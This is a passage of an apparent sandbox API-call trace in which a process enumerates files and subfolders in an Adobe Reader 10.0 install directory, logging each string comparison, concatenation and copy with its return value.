(x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0123.806] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned 51 [0123.806] lstrcpyW (in: lpString1=0x6ded20, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0123.807] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.807] lstrcmpW (lpString1="Esl", lpString2=".") returned 1 [0123.807] lstrcmpW (lpString1="Esl", lpString2="..") returned 1 [0123.807] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.807] lstrlenW (lpString="Esl") returned 3 [0123.807] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Esl" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" [0123.807] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.807] lstrcmpW (lpString1="IrakHau.htm", lpString2=".") returned 1 [0123.807] lstrcmpW (lpString1="IrakHau.htm", lpString2="..") returned 1 [0123.807] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.807] lstrlenW (lpString="IrakHau.htm") returned 11 [0123.807] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="IrakHau.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0123.807] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned 52 [0123.807] lstrcpyW (in: lpString1=0x6ded90, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0123.807] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.807] lstrcmpW (lpString1="Leame.htm", lpString2=".") returned 1 [0123.807] lstrcmpW (lpString1="Leame.htm", lpString2="..") returned 1 [0123.807] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.807] lstrlenW (lpString="Leame.htm") returned 9 [0123.807] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Leame.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0123.807] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned 50 [0123.807] lstrcpyW (in: lpString1=0x6dee08, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0123.807] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.807] lstrcmpW (lpString1="LeesMij.htm", lpString2=".") returned 1 [0123.807] lstrcmpW (lpString1="LeesMij.htm", lpString2="..") returned 1 [0123.807] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.807] lstrlenW (lpString="LeesMij.htm") returned 11 [0123.807] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LeesMij.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0123.807] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned 52 [0123.807] lstrcpyW (in: lpString1=0x6dee78, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0123.807] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.807] lstrcmpW (lpString1="Leggimi.htm", lpString2=".") returned 1 [0123.807] lstrcmpW (lpString1="Leggimi.htm", lpString2="..") returned 1 [0123.807] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.807] lstrlenW (lpString="Leggimi.htm") returned 11 [0123.807] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Leggimi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0123.807] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned 52 [0123.807] lstrcpyW (in: lpString1=0x6deef0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0123.807] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.807] lstrcmpW (lpString1="LeiaMe.htm", lpString2=".") returned 1 [0123.807] lstrcmpW (lpString1="LeiaMe.htm", lpString2="..") returned 1 [0123.807] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.807] lstrlenW (lpString="LeiaMe.htm") returned 10 [0123.807] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LeiaMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0123.807] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned 51 [0123.807] lstrcpyW (in: lpString1=0x6def68, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0123.807] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.807] lstrcmpW (lpString1="Liesmich.htm", lpString2=".") returned 1 [0123.807] lstrcmpW (lpString1="Liesmich.htm", lpString2="..") returned 1 [0123.807] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.807] lstrlenW (lpString="Liesmich.htm") returned 12 [0123.808] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Liesmich.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0123.808] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned 53 [0123.808] lstrcpyW (in: lpString1=0x6defd8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0123.808] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.808] lstrcmpW (lpString1="Lisezmoi.htm", lpString2=".") returned 1 [0123.808] lstrcmpW (lpString1="Lisezmoi.htm", lpString2="..") returned 1 [0123.808] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.808] lstrlenW (lpString="Lisezmoi.htm") returned 12 [0123.808] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Lisezmoi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0123.808] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned 53 [0123.808] lstrcpyW (in: lpString1=0x6df050, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0123.808] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.808] lstrcmpW (lpString1="Llegiu-me.htm", lpString2=".") returned 1 [0123.808] lstrcmpW (lpString1="Llegiu-me.htm", lpString2="..") returned 1 [0123.808] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.808] lstrlenW (lpString="Llegiu-me.htm") returned 13 [0123.808] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Llegiu-me.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0123.808] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned 54 [0123.808] lstrcpyW (in: lpString1=0x6df0c8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0123.808] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.808] lstrcmpW (lpString1="LueMinut.htm", lpString2=".") returned 1 [0123.808] lstrcmpW (lpString1="LueMinut.htm", lpString2="..") returned 1 [0123.808] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.808] lstrlenW (lpString="LueMinut.htm") returned 12 [0123.808] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LueMinut.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0123.808] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned 53 [0123.808] lstrcpyW (in: lpString1=0x6df140, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0123.808] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.808] lstrcmpW (lpString1="Reader", lpString2=".") returned 1 [0123.808] lstrcmpW (lpString1="Reader", lpString2="..") returned 1 [0123.808] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.808] lstrlenW (lpString="Reader") returned 6 [0123.808] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Reader" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0123.808] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.808] lstrcmpW (lpString1="ReadMe.htm", lpString2=".") returned 1 [0123.808] lstrcmpW (lpString1="ReadMe.htm", lpString2="..") returned 1 [0123.808] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.808] lstrlenW (lpString="ReadMe.htm") returned 10 [0123.808] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0123.808] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned 51 [0123.808] lstrcpyW (in: lpString1=0x6df1b8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0123.808] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.808] lstrcmpW (lpString1="ReadMeCS.htm", lpString2=".") returned 1 [0123.808] lstrcmpW (lpString1="ReadMeCS.htm", lpString2="..") returned 1 [0123.808] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.808] lstrlenW (lpString="ReadMeCS.htm") returned 12 [0123.808] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0123.808] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned 53 [0123.808] lstrcpyW (in: lpString1=0x6df228, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0123.808] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.809] lstrcmpW (lpString1="ReadMeCT.htm", lpString2=".") returned 1 [0123.809] lstrcmpW (lpString1="ReadMeCT.htm", lpString2="..") returned 1 [0123.809] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.809] lstrlenW (lpString="ReadMeCT.htm") returned 12 [0123.809] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCT.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0123.809] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned 53 [0123.809] lstrcpyW (in: lpString1=0x6df2a0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0123.809] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.809] lstrcmpW (lpString1="ReadMeCZE.htm", lpString2=".") returned 1 [0123.809] lstrcmpW (lpString1="ReadMeCZE.htm", lpString2="..") returned 1 [0123.809] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.809] lstrlenW (lpString="ReadMeCZE.htm") returned 13 [0123.809] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCZE.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0123.809] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned 54 [0123.809] lstrcpyW (in: lpString1=0x6df318, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0123.809] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.809] lstrcmpW (lpString1="ReadMeHRV.htm", lpString2=".") returned 1 [0123.809] lstrcmpW (lpString1="ReadMeHRV.htm", lpString2="..") returned 1 [0123.809] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.809] lstrlenW (lpString="ReadMeHRV.htm") returned 13 [0123.809] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeHRV.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0123.809] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned 54 [0123.809] lstrcpyW (in: lpString1=0x6df390, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0123.809] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.809] lstrcmpW (lpString1="ReadMeHUN.htm", lpString2=".") returned 1 [0123.809] lstrcmpW (lpString1="ReadMeHUN.htm", lpString2="..") returned 1 [0123.809] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.809] lstrlenW (lpString="ReadMeHUN.htm") returned 13 [0123.809] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeHUN.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0123.809] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned 54 [0123.809] lstrcpyW (in: lpString1=0x6df408, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0123.809] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.809] lstrcmpW (lpString1="ReadMeJ.htm", lpString2=".") returned 1 [0123.809] lstrcmpW (lpString1="ReadMeJ.htm", lpString2="..") returned 1 [0123.809] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.809] lstrlenW (lpString="ReadMeJ.htm") returned 11 [0123.809] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeJ.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0123.809] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned 52 [0123.809] lstrcpyW (in: lpString1=0x6df480, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0123.809] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.809] lstrcmpW (lpString1="ReadMeK.htm", lpString2=".") returned 1 [0123.809] lstrcmpW (lpString1="ReadMeK.htm", lpString2="..") returned 1 [0123.809] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.809] lstrlenW (lpString="ReadMeK.htm") returned 11 [0123.809] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeK.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0123.809] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned 52 [0123.809] lstrcpyW (in: lpString1=0x6df4f8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0123.809] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.810] lstrcmpW (lpString1="ReadMePOL.htm", lpString2=".") returned 1 [0123.810] lstrcmpW (lpString1="ReadMePOL.htm", lpString2="..") returned 1 [0123.810] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.810] lstrlenW (lpString="ReadMePOL.htm") returned 13 [0123.810] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMePOL.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0123.810] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned 54 [0123.810] lstrcpyW (in: lpString1=0x6df570, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0123.810] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.810] lstrcmpW (lpString1="ReadMeRUM.htm", lpString2=".") returned 1 [0123.810] lstrcmpW (lpString1="ReadMeRUM.htm", lpString2="..") returned 1 [0123.810] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.810] lstrlenW (lpString="ReadMeRUM.htm") returned 13 [0123.810] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeRUM.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0123.810] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned 54 [0123.810] lstrcpyW (in: lpString1=0x6df5e8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0123.810] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.810] lstrcmpW (lpString1="ReadMeRUS.htm", lpString2=".") returned 1 [0123.810] lstrcmpW (lpString1="ReadMeRUS.htm", lpString2="..") returned 1 [0123.810] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.810] lstrlenW (lpString="ReadMeRUS.htm") returned 13 [0123.810] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeRUS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0123.810] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned 54 [0123.810] lstrcpyW (in: lpString1=0x24b0060, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0123.810] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.810] lstrcmpW (lpString1="ReadMeSKY.htm", lpString2=".") returned 1 [0123.810] lstrcmpW (lpString1="ReadMeSKY.htm", lpString2="..") returned 1 [0123.810] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.810] lstrlenW (lpString="ReadMeSKY.htm") returned 13 [0123.810] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeSKY.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0123.810] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned 54 [0123.811] lstrcpyW (in: lpString1=0x24b00d8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0123.811] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.811] lstrcmpW (lpString1="ReadMeUKR.htm", lpString2=".") returned 1 [0123.811] lstrcmpW (lpString1="ReadMeUKR.htm", lpString2="..") returned 1 [0123.811] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.811] lstrlenW (lpString="ReadMeUKR.htm") returned 13 [0123.811] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeUKR.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0123.811] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned 54 [0123.811] lstrcpyW (in: lpString1=0x24b0150, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0123.811] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.811] lstrcmpW (lpString1="Resource", lpString2=".") returned 1 [0123.811] lstrcmpW (lpString1="Resource", lpString2="..") returned 1 [0123.811] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.811] lstrlenW (lpString="Resource") returned 8 [0123.811] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Resource" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0123.811] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.811] lstrcmpW (lpString1="Setup Files", lpString2=".") returned 1 [0123.811] lstrcmpW (lpString1="Setup Files", lpString2="..") returned 